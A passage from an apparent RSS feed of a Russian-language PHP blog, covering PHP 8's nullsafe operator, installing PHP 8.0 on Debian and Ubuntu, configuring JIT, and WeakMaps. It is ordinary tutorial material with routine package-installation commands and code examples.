}</code></pre><p>Это, конечно некрасиво и к тому же трудно читать, но необходимо, если вы хотите избежать ужасной&nbsp;<span style="font-size: 1rem;">ошибки</span>&nbsp;<span style="background-color: rgb(247, 247, 247);">Call to a member function on null</span>. </p><p>В идеальном мире мы могли бы структурировать наш код так, чтобы null был невозможен. К сожалению, мы живем не в идеальном мире, особенно когда нам приходится иметь дело с чужим кодом. По этой причине в ряде языков есть так называемый «оператор nullsafe». И, начиная с версии 8.0, PHP является одним из них. И PHP 8 позволит написать:</p><p><br></p><pre class="line-numbers"><code class="language-php">$country = $session?-&gt;user?-&gt;getAddress()?-&gt;country;</code></pre><p>В этом примере значение $session может быть как объектом класса Session так и null, а $user является либо&nbsp;<span style="font-size: 1rem;">объектом&nbsp;</span>User, либо null. Возвращаемое значение - User::getAddress() это либо&nbsp;<span style="font-size: 1rem;">объект</span>&nbsp;Address, либо null. Если $session?-&gt;user возвращает значение null, то&nbsp; игнорируется вся остальная часть строки. То же самое и с getAddress(). В конце концов, $country это либо допустимое значение страны, полученное из свойства&nbsp;country адреса, либо оно равно нулю.</p><p>Давайте посмотрим, что может и что не может этот новый оператор!&nbsp;&nbsp;</p><p>Начнем с ответа на самый важный вопрос: в чем именно разница между оператором объединения null и оператором nullsafe?&nbsp;Давайте посмотрим на этот пример:</p><p><br></p><pre class="line-numbers"><code class="language-php">class Order
{
    public ?Invoice $invoice = null;
}

$order = new Order();</code></pre><p>Здесь у нас есть объект&nbsp;<span style="font-size: 1rem;">Order</span>, который имеет необязательное отношение к&nbsp;<span style="font-size: 1rem;">объекту</span>&nbsp;Invoice. Теперь представьте, что мы хотели бы получить номер счета (если счет не нулевой). Вы можете сделать это как с оператором объединения null, так и с оператором nullsafe:</p><p><br></p><pre class="line-numbers"><code class="language-php">var_dump($order-&gt;invoice?-&gt;number);
var_dump($order-&gt;invoice-&gt;number ?? null);</code></pre><p>Так в чем тогда разница? Хотя в этом примере вы можете использовать оба оператора для достижения одного и того же результата, у них также есть определенные граничные случаи, с которыми может справиться только один из них. Например, вы можете использовать оператор объединения null в сочетании с ключами массива, в то время как оператор nullsafe не может их обрабатывать:</p><p><br></p><pre class="line-numbers"><code class="language-php">$array = [];

var_dump($array['key']-&gt;foo ?? null);</code></pre><p>&nbsp;</p><pre class="line-numbers"><code class="language-php">var_dump($array['key']?-&gt;foo);

Warning: Undefined array key "key"</code></pre><p>С другой стороны, оператор nullsafe может работать с вызовами методов, а оператор объединения null - нет. Представьте себе такой Invoice объект:</p><p><br></p><pre class="line-numbers"><code class="language-php">class Invoice
{
    public function getDate(): ?DateTime { /* … */ }
    
    // …
}

$invoice = new Invoice();</code></pre><p>Вы можете использовать оператор nullsafe для вызова format() даты счета-фактуры, даже если она null:</p><p><br></p><pre class="line-numbers"><code class="language-php">var_dump($invoice-&gt;getDate()?-&gt;format('Y-m-d'));

// null</code></pre><p>В то время как оператор объединения с нулевым значением выйдет из строя:</p><p><br></p><pre class="line-numbers"><code class="language-php">var_dump($invoice-&gt;getDate()-&gt;format('Y-m-d') ?? null);

Fatal error: Uncaught Error: Call to a member function format() on null</code></pre><h2>Короткое замыкание и isset<br></h2><p>Иногда вы можете использовать либо оператор объединения с нулевым значением, либо оператор nullsafe, в других случаях вам нужно будет сделать конкретный выбор. Разница в том, что оператор nullsafe, по сути, использует форму «короткого замыкания»: запись ?-&gt; заставит PHP смотреть на то, что находится в левой части этого оператора, и если она равна&nbsp;<span style="font-size: 1rem;">null,&nbsp;</span>тогда правая часть будет просто отброшена.&nbsp;Это означает, что даже динамические вызовы или вызовы с ошибками позже в процессе не происходят.</p><p>А вот оператор объединения null (??) на самом деле является замаскированным&nbsp;<span style="font-size: 1rem;">isset</span>&nbsp;вызовом своего левого операнда, который не поддерживает короткое замыкание.</p><p>Короткое замыкание также означает, что при написании чего-то вроде этого:</p><p><br></p><pre class="line-numbers"><code class="language-php">$foo?-&gt;bar(expensive_function());</code></pre><p>expensive_function будет выполнена, только если $foo не будет равен null.</p><h2>Вложенные операторы nullsafe</h2><p>Можно вложить несколько вызовов операторов nullsafe следующим образом:</p><p><br></p><pre class="line-numbers"><code class="language-php">$foo?-&gt;bar?-&gt;baz()?-&gt;boo?-&gt;baa();</code></pre><h2>Только для чтения данных&nbsp;</h2><p>Конечно, у оператора nullsafe есть несколько ограничений. Он работает только для чтения свойств или методов, но не для записи значений. Он также не работает с ссылками, потому что ссылки требуют реальных значений. (Это согласуется с другими языками, в которых есть нулевой безопасный оператор.)<br></p><p>Итак, запомните, вы не можете использовать оператор nullsafe для записи данных в объекты, т.е. такая запись не пройдет:</p><p><br></p><pre class="line-numbers"><code class="language-php"><strike>$offer?-&gt;invoice?-&gt;date = new DateTime();</strike></code></pre><p>Он также не указывает на то, какой шаг в цепочке вернул null. Возьмем тот же пример с country:</p><p><br></p><pre class="line-numbers"><code class="language-php">$country = $session?-&gt;user?-&gt;getAddress()?-&gt;country;</code></pre><p>&nbsp;Если $country будет равен null, это может быть потому что $session был null, или $user был null, или getAddress() возвратил null. Короче, невозможно сказать. Иногда это нормально. Однако, если вам нужно точно это знать, nullsafe вам не поможет. Для этого вам нужна&nbsp;<span style="font-size: 1rem;">Either&nbsp;</span>монада, но это тема совсем другого времени...</p><p>Тем не менее, nullsafe может помочь уменьшить количество шаблонного кода, плавающего вокруг цепочек объектно-ориентированных методов. Мы должны поблагодарить Илью Товило за <a href="https://wiki.php.net/rfc/nullsafe_operator" target="_blank">nullsafe RFC</a>. Оператор nullsafe определенно является нужной, и недостающей частью, наконец добавленной в PHP. Учитывая его динамичный характер, приятно иметь чистый, красивый способ справиться с null.</p><p>Поначалу разница и совпадение между оператором nullsafe и оператором объединения null немного сбивает с толку, но к этому легко привыкнуть.</p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/44</guid>
                <pubDate>2020-12-10T12:51:36+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Как установить/обновить PHP 8.0 (Debian/Ubuntu/Mint)]]></title>
                <link>https://sergeymukhin.com/blog/kak-ustanovit-obnovit-php-80-debian-ubuntu-mint</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">Как установить/обновить PHP 8.0 (Debian/Ubuntu/Mint)</h1><blockquote>Релиз PHP 8 состоялся 26 ноября 2020 года, и в этом посте мы установим новую версию или обновим вашу старую версию PHP до 8</blockquote><p><a href="https://sergeymukhin.com/blog/chto-novogo-v-php-8" target="_blank">PHP 8.0</a> содержит много новых функций и улучшений производительности, синтаксиса, безопасности и стабильности. Установка PHP 8.0 практически на любой сервер упрощается благодаря предварительно скомпилированным пакетам, доступным во всех поддерживаемых в настоящее время версиях Debian и Ubuntu.</p><h2>Изменения расширений и зависимостей в PHP 8.0</h2><p>Несмотря на <a href="https://sergeymukhin.com/blog/chto-novogo-v-php-8" target="_blank">огромное количество изменений в PHP 8.0</a>, в принципе было произведено не так много изменений в его зависимостях и структуре расширений.</p><p>Расширение JSON теперь всегда доступно , и нет флага компиляции для его исключения. Это означает, что больше нет необходимости явно устанавливать&nbsp;<span style="font-size: 1rem;">пакет</span>&nbsp;php-json.</p><p>Расширение xmlrpc&nbsp; перемещено в PECL по уважительным причинам. Репозитории программного обеспечения, упомянутые в этом посте, не включают xmlrpc расширения для PHP 8.0.</p><p>Кроме того, в Windows название расширения GD было изменено с php_gd2.dll на php_gd.dll.</p><h2>Изменения в файле INI PHP 8.0</h2><p>Также есть несколько изменений в файле INI.</p><ul><li> По умолчанию утверждения вызывают исключения - ( assert.exception=1)</li><li>Отображение ошибок по умолчанию установлено на E_ALL - ( error_reporting=-1)</li><li>При запуске теперь по умолчанию ошибки включены - ( display_startup_errors=1)</li></ul><ul><li>Новая функция <a href="https://sergeymukhin.com/blog/php-8-kak-vklyucit-jit" target="_blank">JIT в PHP 8.0</a> добавляет несколько новых директив INI.</li><li>Параметр zend.exception_string_param_max_len для настраиваемой длины строки трассировки стека исключений</li></ul><h2>Установка PHP 8&nbsp;&nbsp;</h2><p>1. Необходимо добавить репозиторий ondrej/phpPPA</p><p>Ubuntu/Mint</p><p><br></p><pre class="line-numbers"><code class="language-powershell">sudo apt-get install software-properties-common
sudo add-apt-repository ppa:ondrej/php
sudo apt-get update</code></pre><p>&nbsp;</p><p>Debian<br></p><p><br></p><pre class="line-numbers"><code class="language-powershell">sudo apt install apt-transport-https lsb-release ca-certificates wget -y
sudo wget -O /etc/apt/trusted.gpg.d/php.gpg https://packages.sury.org/php/apt.gpg 
sudo sh -c 'echo "deb https://packages.sury.org/php/ $(lsb_release -sc) main" &gt; /etc/apt/sources.list.d/php.list'
sudo apt update</code></pre><p>Приведенные выше шаги добавят PPA в качестве источника пакетов, который содержит все пакеты PHP и их зависимости, такие как argon2 и libzip.</p><p>&nbsp;2. Установите PHP 8.0 и нужные расширения</p><p>Все пакеты PHP 8.0 следуют&nbsp;<span style="font-size: 1rem;">шаблону&nbsp;</span>php8.0-имя_расширения , и&nbsp;<span style="font-size: 1rem;">пакет&nbsp;</span>php8.0-common&nbsp; включает необходимый набор расширений по умолчанию.</p><p><br></p><pre class="line-numbers"><code class="language-powershell">sudo apt install php8.0-common</code></pre><p>Установите PHP 8.0 CLI для работы в консоли</p><p>&nbsp;</p><pre class="line-numbers"><code class="language-powershell">sudo apt install php8.0-cli</code></pre><p><span style="color: rgb(40, 35, 49); font-size: 38px; font-weight: 700;">Дополнительные расширения</span><br></p><p>Вы можете установить дополнительные расширения по тому же&nbsp;<span style="font-size: 1rem;">шаблону</span>&nbsp;php8.0-имя_расширения. Обратите внимание, что вам не нужно устанавливать, так php8.0-json, так как теперь он включен по умолчанию.</p><p>Пример установки еще нескольких полезных расширений:</p><p><br></p><pre class="line-numbers"><code class="language-powershell">sudo apt install php8.0-{curl,intl,mysql,readline,xml,mbstring}</code></pre><p>Для разработки также могут быть установлены инструменты покрытия кода или отладчик Xdebug.&nbsp;</p><p><br></p><pre class="line-numbers"><code class="language-powershell">sudo apt install php8.0-pcov # PCOV code coverage tool
sudo apt install php8.0-xdebug # Xdebug debugger</code></pre><h2>Установка PHP8 fpm</h2><p>В зависимости от используемого веб-сервера вам необходимо будет установить дополнительные пакеты для интеграции с веб-сервером.</p><p>Для использования Apache mpm_event, Nginx, Litespeed и т. д. нужно будет установить php8.0-fpm</p><p><br></p><pre class="line-numbers"><code class="language-powershell">sudo apt install php8.0-fpm</code></pre><p>Для использования Apache mod_php установите libapache2-mod-php8.0&nbsp;&nbsp;</p><p><br></p><pre class="line-numbers"><code class="language-powershell">sudo apt install libapache2-mod-php8.0</code></pre><p>Чтобы проверить установку PHP и расширений, выполните следующие команды:</p><p><br></p><pre class="line-numbers"><code class="language-powershell">php -v
php -m</code></pre><p>&nbsp;</p><pre class="line-numbers"><code class="language-powershell"># php -v
PHP 8.0.0 (cli) (built: Nov 26 2020 18:04:36) ( NTS )
Copyright (c) The PHP Group
Zend Engine v4.0.0, Copyright (c) Zend Technologies

# php -m
[PHP Modules]
Core
ctype
curl
...</code></pre><p>Если вам потребуется удалить старые пакеты PHP, можно воспользоваться командой</p><p><br></p><pre class="line-numbers"><code class="language-powershell">sudo apt purge '^php7.4.*'</code></pre><p>Это предполагает, что вы используете PHP 7.4 в качестве предыдущей версии. Но будьте осторожны, сначала сто раз проверьте что вы больше не используете старые версии в своих проектах.&nbsp;</p><h2>Смена установленной версий PHP по умолчанию.</h2><p>Если вдруг вас не устраивает новая установленная версия PHP, вы можете сменить другую версию по умолчанию, командой:</p><p><br></p><pre class="line-numbers"><code class="language-powershell">sudo update-alternatives --config php</code></pre><p><br></p><pre class="line-numbers"><code class="language-powershell">Есть 7 вариантов для альтернативы php (предоставляет /usr/bin/php).

  Выбор   Путь         Приор Состояние
------------------------------------------------------------
  0            /usr/bin/php8.0   80        автоматический режим
  1            /usr/bin/php5.6   56        ручной режим
  2            /usr/bin/php7.0   70        ручной режим
  3            /usr/bin/php7.1   71        ручной режим
  4            /usr/bin/php7.2   72        ручной режим
  5            /usr/bin/php7.3   73        ручной режим
* 6            /usr/bin/php7.4   74        ручной режим
  7            /usr/bin/php8.0   80        ручной режим

Press &lt;enter&gt; to keep the current choice[*], or type selection number: 6</code></pre><p>И введя номер нужной вам предыдущей версии PHP.</p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/43</guid>
                <pubDate>2020-11-27T11:49:52+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[PHP 8: Как включить JIT]]></title>
                <link>https://sergeymukhin.com/blog/php-8-kak-vklyucit-jit</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">PHP 8: Как включить JIT</h1><blockquote>PHP 8 добавляет к ядру PHP JIT-компилятор, который может значительно повысить производительность</blockquote><p>JIT-компиляторы очень сложны, потому что для того, чтобы добиться от них хорошей производительности, обычно нужно выбирать, какие именно части промежуточного языка должны компилироваться в машинный код, а какие нет. Преобразование в машинный код не всегда происходит быстрее, в зависимости от конкретных деталей кода и рассматриваемого языка. Кроме того, процесс преобразования упрощенного кода в машинный код может занять больше времени, чем просто однократный запуск упрощенного кода и мгновенного завершение его работы.</p><p>По этой причине большинство JIT-компиляторов анализируют код во время его выполнения, чтобы определить, какие части дают наилучшую отдачу, а затем компилируют только эти биты. Т<span style="font-size: 1rem;">еоретически, о</span>тличный результат состоит в том, что программа буквально становится быстрее по мере ее выполнения, а JIT-компилятор в виртуальной машине узнает, какие части кода нужно оптимизировать.</p><p>Java была первым широко распространенным языком, включившим JIT в свою виртуальную машину. Большинство основных движков Javascript теперь тоже. И, начиная с <a href="https://sergeymukhin.com/blog/chto-novogo-v-php-8" target="_blank">PHP 8.0</a>, к этому списку присоединился и PHP.</p><h2>PHP JIT</h2><p>JIT в PHP появилась давно. На самом деле он находился в разработке в течение нескольких лет и почти был выпущен в&nbsp;<a href="https://sergeymukhin.com/blog/novoe-v-php-74" target="_blank">PHP 7.4</a>. Работа по созданию JIT&nbsp;<span style="font-size: 1rem;">в&nbsp;</span><span style="font-size: 1rem;">PHP</span>&nbsp;была тем импульсом, который привел к серьезному переписыванию движка, что дало версии 7.0 значительный прирост производительности.</p><p><a href="https://sergeymukhin.com/blog/php-jit" target="_blank">PHP JIT</a> построен как расширение кеша опкодов. Это означает, что его можно включать и отключать либо при сборке самого PHP, либо во время выполнения через php.ini.<br></p><p>Честно говоря, настройка JIT - один из самых запутанных способов настройки расширения PHP, который я когда-либо видел. К счастью, есть несколько сокращений конфигурации, которые упрощают настройку. Тем не менее, будет очень полезным знать как настраивать JIT, так что приступим.</p><h2>Кратко для системных администраторов</h2><p>В PHP 8.0 JIT как бы включен по умолчанию, но и выключен. Требуется только минимальная конфигурация php.ini, подобная этой:</p><p><br></p><pre class="line-numbers"><code class="language-powershell">opcache.enable=1
opcache.enable_cli=1
opcache.jit_buffer_size=128M</code></pre><p>&nbsp;</p><h2>Как настроить JIT в PHP 8</h2><p>Прежде всего, JIT будет работать, только если включен opcache, хоть по умолчанию в PHP он и включен, вы все равно должны убедиться, что в вашем php.ini файле установлено значение&nbsp;<span style="font-size: 1rem;">opcache.enable =&nbsp;</span>1. Включение самого JIT осуществляется путем установки&nbsp;<span style="font-size: 1rem;">в php.ini параметра&nbsp;</span>opcache.jit_buffer_size в ненулевое значение.&nbsp;Это контролирует, сколько места в памяти JIT может заполнить оптимизированным машинным кодом. Однако больше не всегда лучше, поскольку JIT также может тратить время на компиляцию кода, который на самом деле не выигрывает от компиляции.</p><p>Обратите внимание, что если вы запускаете PHP через командную строку, вы также можете передать эти параметры через&nbsp;<span style="font-size: 1rem;">флаг</span>&nbsp;-d вместо того, чтобы добавлять их в php.ini:</p><p><br></p><pre class="line-numbers"><code class="language-powershell">php -d opcache.enable=1 -d opcache.jit_buffer_size=128M</code></pre><p>Если эта директива отсутствует, то значение по умолчанию будет равно 0, и JIT не будет работать. </p><p>Так же, если вы тестируете JIT в сценарии CLI, вы должны использовать opcache.enable_cli для включения opcache:</p><p><br></p><pre class="line-numbers"><code class="language-powershell">php -d opcache.enable_cli=1 -d opcache.jit_buffer_size=128M</code></pre><p>Разница между opcache.enable и opcache.enable_cli заключается в том, что первый вариант следует использовать тогда, когда вы, например, используете встроенный PHP-сервер. Если вы на самом деле запускаете сценарий CLI, вам понадобится opcache.enable_cli.</p><p>Прежде чем продолжить, давайте убедимся, что JIT действительно работает, создадим PHP-скрипт, доступный через браузер или CLI (в зависимости от того, где вы тестируете JIT), и посмотрим на вывод opcache_get_status():&nbsp;<br></p><p><br></p><pre class="line-numbers"><code class="language-php">var_dump(opcache_get_status()['jit']);</code></pre><p>Результат будет примерно таким:</p><p><br></p><pre class="line-numbers"><code class="language-php">array:7 [
  "enabled" =&gt; true
  "on" =&gt; true
  "kind" =&gt; 5
  "opt_level" =&gt; 4
  "opt_flags" =&gt; 6
  "buffer_size" =&gt; 4080
  "buffer_free" =&gt; 0
]</code></pre><p>&nbsp;Если <b>enabled</b> и <b>on</b> стоят в <b>true</b>, то все работает как надо!</p><p>Далее есть несколько способов настроить JIT (и здесь мы попадем в круговорот беспорядка конфигурации). Вы можете настроить, когда&nbsp;<span style="font-size: 1rem;">должен работать</span>&nbsp;JIT, с какой степенью он должен пытаться оптимизировать и т.д. Все эти параметры настраиваются с помощью всего одной записи конфигурации(!): opcache.jit. Выглядит это так:</p><p><br></p><pre class="line-numbers"><code class="language-textile">opcache.enable=1 
opcache.jit=1255</code></pre><p>В <a href="https://wiki.php.net/rfc/jit" target="_blank">RFC</a>&nbsp;можно почитать что означает каждое из чисел. Имейте в виду: это не битовая маска, каждое число просто представляет собой различный вариант конфигурации. Итак, RFC дает нам следующие варианты:</p><p><br></p><h3>O - Уровень оптимизации&nbsp;</h3><table class="table table-bordered"><tbody><tr><td>0</td><td>не JIT<br></td></tr><tr><td>1</td><td>минимальный JIT (вызов стандартных обработчиков ВМ)<br></td></tr><tr><td>2</td><td>выборочное встраивание обработчика ВМ<br></td></tr><tr><td>3</td><td>оптимизированный JIT на основе статического вывода типов&nbsp;отдельной функции<br></td></tr><tr><td>4</td><td>оптимизированный JIT на основе статического вывода типов&nbsp;и дерева вызовов<br></td></tr><tr><td>5</td><td>оптимизированная JIT на основе статического вывода типов и анализа внутренних процедур<br></td></tr></tbody></table><h3><br></h3><h3>T - триггер JIT</h3><table class="table table-bordered"><tbody><tr><td>0</td><td>JIT все функции при первой загрузке скрипта<br></td></tr><tr><td>1</td><td>Функция JIT при первом выполнении<br></td></tr><tr><td>2</td><td>Профилировать по первому запросу и компилировать горячие функции по второму запросу<br></td></tr><tr><td>3</td><td>Профилировать&nbsp;на лету и компилировать&nbsp;горячие функции<br></td></tr><tr><td>4</td><td><strike>Компиляция функций с тегом @jit в комментариях к документации</strike> (больше не используется)<br></td></tr><tr><td>5</td><td>Трассировка JIT<br></td></tr></tbody></table><h3><br></h3><h3>R - распределение регистров</h3><table class="table table-bordered"><tbody><tr><td>0</td><td>не выполнять распределение регистров<br></td></tr><tr><td>1</td><td>использовать локальный распределитель регистров liner-scan<br></td></tr><tr><td>2</td><td>использовать глобальный распределитель регистров liner-scan<br></td></tr></tbody></table><p><br></p><h3>C - флаги оптимизации CPU</h3><table class="table table-bordered"><tbody><tr><td>0</td><td>нет<br></td></tr><tr><td>1</td><td>включить генерацию инструкций AVX<br></td></tr></tbody></table><blockquote>Одно небольшое уточнение: Перечислять эти параметры нужно в обратном порядке, поэтому первая цифра представляет C значение, вторая - R, третья - T и четвертая - O. Почему просто не были добавлены четыре записи конфигурации, я не понимаю, вероятно, чтобы ускорить настройку JIT, может быть...</blockquote><p>В любом случае, рекомендуется устанавливать значение 1255 в качестве наиболее оптимального, тогда будет выполняться максимальный "джитинг", используя JIT трассировки, глобальный распределитель регистров liner-scan - что бы это ни было, черт возьми, и позволяет генерировать инструкции AVX.</p><p>Итак, ваши ini-настройки (или&nbsp;<span style="font-size: 1rem;">флаги</span>&nbsp;-d ) должны иметь следующие значения:</p><p><br></p><pre class="line-numbers"><code class="language-textile">opcache.enable=1 
opcache.jit_buffer_size=128M
opcache.jit=1255</code></pre><p>Имейте в виду, что&nbsp;<span style="font-size: 1rem;">необязательно настраивать&nbsp;</span>opcache.jit. JIT будет использовать значение по умолчанию, если это свойство не указано. А какой по умолчанию, спросите вы? А вот какое <b>opcache.jit=tracing</b>.</p><p>Что еще за трассировка, спросите вы, это совсем не та странная структура, похожая на битовую маску, которую мы видели ранее. И вы будете правы: после того, как был принят исходный RFC, контрибьюторы ядра PHP осознали, что параметры-шифры, подобные битовой маске, не очень удобны для пользователя, поэтому они добавили два человечески понятные псевдонима, которые транслируются в ту самую битовую маску под капотом. Есть <b>opcache.jit=tracing</b> и <b>opcache.jit=function</b>.<br></p><p>Разница между ними заключается в том, что при параметре функции<span style="font-size: 1rem;">&nbsp;</span>JIT пытается оптимизировать код только в рамках одной функции, в то время как JIT трассировка может просматривать всю трассировку стека, чтобы идентифицировать и оптимизировать горячий код. PHP Internals рекомендует использовать JIT-трассировку, потому что она почти всегда дает наилучшие результаты.</p><p>Таким образом, единственно что от вас потребуется, чтобы включить JIT с его оптимальной конфигурацией - это установка opcache.jit_buffer_size, но если вы хотите установить конфигурацию явно, включение параметра opcache.jit будет не такой уж плохой идеей:<br></p><p><br></p><pre class="line-numbers"><code class="language-textile">opcache.enable=1 
opcache.jit_buffer_size=128M
opcache.jit=tracing</code></pre><p><span style="color: rgb(40, 35, 49); font-size: 38px; font-weight: 700;"><br></span></p><h2><font color="#282331"><span style="font-size: 38px;"><b>Отладка JIT (opcache.jit_debug)</b></span></font></h2><p>PHP JIT обеспечивает способ выдачи отладочной информации JIT путем установки конфигурации INI. Когда установлен определенный флаг, он выводит код сборки для дальнейшей проверки.</p><p><br></p><pre class="line-numbers"><code class="language-powershell">opcache.jit_debug=1</code></pre><p><span style="font-size: 1rem;">Директива&nbsp;</span>opcache.jit_debug принимает значение битовой маски для включения определенных функций. В настоящее время он принимает значение в диапазоне от <b>1</b> (<b>0b1</b>) до <b>20</b> двоичных разрядов. Значение <b>1048576</b> представляет максимальный уровень вывода отладки.&nbsp;</p><p><br></p><pre class="line-numbers"><code class="language-powershell">php -d opcache.jit_debug=1 test.php</code></pre><p><br></p><pre class="line-numbers"><code class="language-powershell">TRACE-1$/test.php$7: ; (unknown)
    sub $0x10, %rsp
    mov $EG(jit_trace_num), %rax
    mov $0x1, (%rax)
.L1:
    cmp $0x4, 0x58(%r14)
    jnz jit$$trace_exit_0
    cmp $0x4e20, 0x50(%r14)
    ...</code></pre><p>JIT поддерживает несколько других параметров конфигурации, чтобы настроить, сколько вызовов функций делает ее «горячей» функцией, которая затем компилируется JIT, и порог для определения того, какие функции следует "JIT'ировать", на основе процента общих вызовов функций.</p><p>Полный список см. В <a href="https://www.php.net/manual/ru/opcache.configuration.php" target="_blank">разделе Конфигурация Opcache</a>.&nbsp;&nbsp;<br></p><h2><span style="color: rgb(40, 35, 49); font-size: 38px; font-weight: 700;">Улучшит ли&nbsp;</span>JIT производительность?</h2><p>Короче, «это зависит от обстоятельств». Для веб-приложений может и не очень, но вот для PHP как экосистемы даже может чрезмерно.</p><p>PHP, по замыслу, обычно работает в конфигурации без совместного использования ресурсов. После обработки каждого запроса приложение полностью закрывается. Это дает JIT очень мало времени на анализ и оптимизацию кода, тем более, что большая часть кода в типичном веб-запросе выполняется только один раз, поскольку запрос обрабатывается линейно. Кроме того, большей частью этих приложений часто является ввод-вывод (в основном, общение с базой данных), и JIT вообще не может с этим помочь. Результаты тестов, которые были опубликованы на данный момент, показывают, что JIT предлагает лишь незначительное повышение производительности в типичных приложениях PHP, запускаемых через PHP-FPM.</p><p>JIT потенциально может быть действительно полезен в тех случаях, где PHP сегодня совсем не рассматривается. Реальные преимущества будут видны в работе постоянных демонов, парсерах, машинном обучении и других длительных процессах, интенсивно использующих CPU.</p><p>PHP-Parser - это «анализатор PHP, написанный на PHP». Он от того же Никиты Попова, и используется многими инструментами статического анализа, представленными сегодня на рынке, такими как, например, PHPStan и пр.&nbsp; Никита сообщил, что PHP-Parser в некоторых случаях работает в два раза быстрее с новым движком JIT.</p><p>Асинхронные приложения, написанные на React PHP или AmPHP , вероятно, также увидят заметное улучшение, хотя и не настолько, как правило, они выполняют много операций ввода-вывода (где JIT бесполезен).</p><p>Может быть для вас будет шоком узнать, что для PHP доступны библиотеки машинного обучения, такие как <a href="https://github.com/RubixML/RubixML" target="_blank">Rubix ML</a> или <a href="https://github.com/jorgecasas/php-ml" target="_blank">PHP-ML</a>. Они не так широко используются, как их собраты на Python, отчасти потому, что при интерпретации они, как правило, медленнее, чем библиотеки C с красивыми оболочками Python. Однако с JIT эти задачи с интенсивным использованием CPU могут оказаться такими же быстрыми или, возможно, даже более быстрыми, чем те, которые доступны на других языках.</p><p>PHP больше не является "просто самым быстрым из основных языков веб-сценариев". Теперь это жизнеспособный высокопроизводительный язык общей обработки данных, с передачей постоянных воркеров, машинного обучения и других высокопроизводительных задач, в руки миллионов PHP-разработчиков по всему миру.<br></p><p>В первую очередь мы должны поблагодарить Дмитрия Стогова и Зеева Сураски за многолетние усилия по реализации этого RFC .</p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/41</guid>
                <pubDate>2020-11-25T13:40:00+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[PHP 8: Weak Maps - Слабые карты]]></title>
                <link>https://sergeymukhin.com/blog/php-8-weakmaps-slabye-karty</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">PHP 8: Weak Maps - Слабые карты</h1><blockquote>PHP 8 версии появились Weak Maps - слабые карты, использующие объекты в качестве ключей</blockquote><p>PHP 7.4 представил интересную концепцию&nbsp;<a href="https://www.php.net/manual/en/class.weakreference.php" target="_blank">слабых ссылок</a>&nbsp;, которые позволяют ссылаться на объект без увеличения его счетчика ссылок. Это немного непонятно и на практике в большинстве случаев не так уж и полезно. На самом деле мы ждали Weak Maps, которые и появились в PHP 8.0.</p><p>WeakMap аналогичен <a href="https://www.php.net/manual/ru/class.splobjectstorage.php" target="_blank">SplObjectStorage</a>, и WeakMap и splObjectStorage использует объекты в качестве ключа и позволяет хранить произвольные значения. Тем не менее, WeakMap не защищает объект от "сборки мусора".</p><p><br></p><pre class="line-numbers"><code class="language-php">$map = new splObjectStorage();

$object = new stdClass();
$map[$object]  = 'Foo';

var_dump(count($map)); // int(1)

unset($object);

var_dump(count($map)); // int(1)</code></pre><p>В приведенном выше фрагменте splObjectStorage используется для хранения дополнительных данных об объектах. Даже при&nbsp;<span style="font-size: 1rem;">вызове&nbsp;</span>unset($object) сборщик мусора PHP не удаляет его из памяти из-за ссылки $map splObjectStorage.&nbsp;</p><p>С WeakMap, ссылки являются слабыми, и ссылка внутри WeakMap не мешает сборщику мусора очистить объект, если нет других ссылок на объект, тот же пример:</p><p><br></p><pre class="line-numbers"><code class="language-php">+ $map = new WeakMap();

$object = new stdClass();
$map[$object]  = 'Foo';

var_dump(count($map)); // int(1)

unset($object);

var_dump(count($map)); // int(0)</code></pre><p>Как видите WeakMap позволяет очистить объект, а splObjectStorage - нет.</p><h2>Краткое описание класса WeakMap</h2><p><br></p><pre class="line-numbers"><code class="language-php">final class WeakMap implements ArrayAccess, Countable, IteratorAggregate, Traversable {
    public function offsetGet(object $object);
    public function offsetSet(object $object, mixed $value): void;
    public function offsetExists(object $object): bool;
    public function offsetUnset(object $object): void;
    public function count(): int;
}</code></pre><h2>Подробнее о Weak Maps</h2><p>Слабые карты могут помочь связать временные данные с объектами без изменения состояния самого объекта. Если объект выпадает из области видимости, то же самое происходит и с соответствующими данными.</p><p>На первый взгляд слабые карты немного сложно понять, обычно, когда вы создаете объект и назначаете его переменной, происходит так, что объект создается в памяти, а затем создается переменная как ссылка на него. Думайте об этом как о переменной, имеющей только идентификатор объекта, а не о самом объекте. Если вы назначите другую переменную тому же объекту, останется только один объект, но теперь есть две переменные с идентификатором объекта.&nbsp;</p><pre class="line-numbers" style="font-size: 14px;"><code class="language-php">&lt;?php

$a = new Foo();
$b = $a;

//$b and $a теперь отдельные переменные 
//оба указывают на объект Foo где-то в памяти.</code></pre><p>Каждый раз, когда переменная удаляется, PHP проверяет, есть ли другие переменные, которые все еще ссылаются на этот объект. Если их нет, он знает, что можно&nbsp;<span style="font-size: 1rem;">удалить этот объект&nbsp;</span>за вас. Этот процесс называется «сборкой мусора», и я здесь сильно упростил процесс, но этого вполне достаточно для общего понимания.<br></p><p>Слабая ссылка же или слабая карта - это способ создания переменной, которая действует как и любая другая, но когда PHP проверяет, указывают ли какие-либо переменные на объект,</p><p>эти «слабые» переменные не учитываются. Поэтому, если есть еще три слабые ссылки, указывающие на объект, но нет обычных переменных, PHP с радостью удалит объект и вместо этого установит для остальных переменных значение null.</p><p><br></p><pre class="line-numbers"><code class="language-php">$map = new WeakMap;
$obj = new stdClass;
$map[$obj] = 42;
var_dump($map);

// object(WeakMap)#1 (1) {
//   [0]=&gt;
//   array(2) {
//     ["key"]=&gt;
//     object(stdClass)#2 (0) {
//     }
//     ["value"]=&gt;
//     int(42)
//   }
// }
 
// Здесь объект уничтожается, а ключ автоматически удаляется со слабой карты.
unset($obj);
var_dump($map);
// object(WeakMap)#1 (0) {
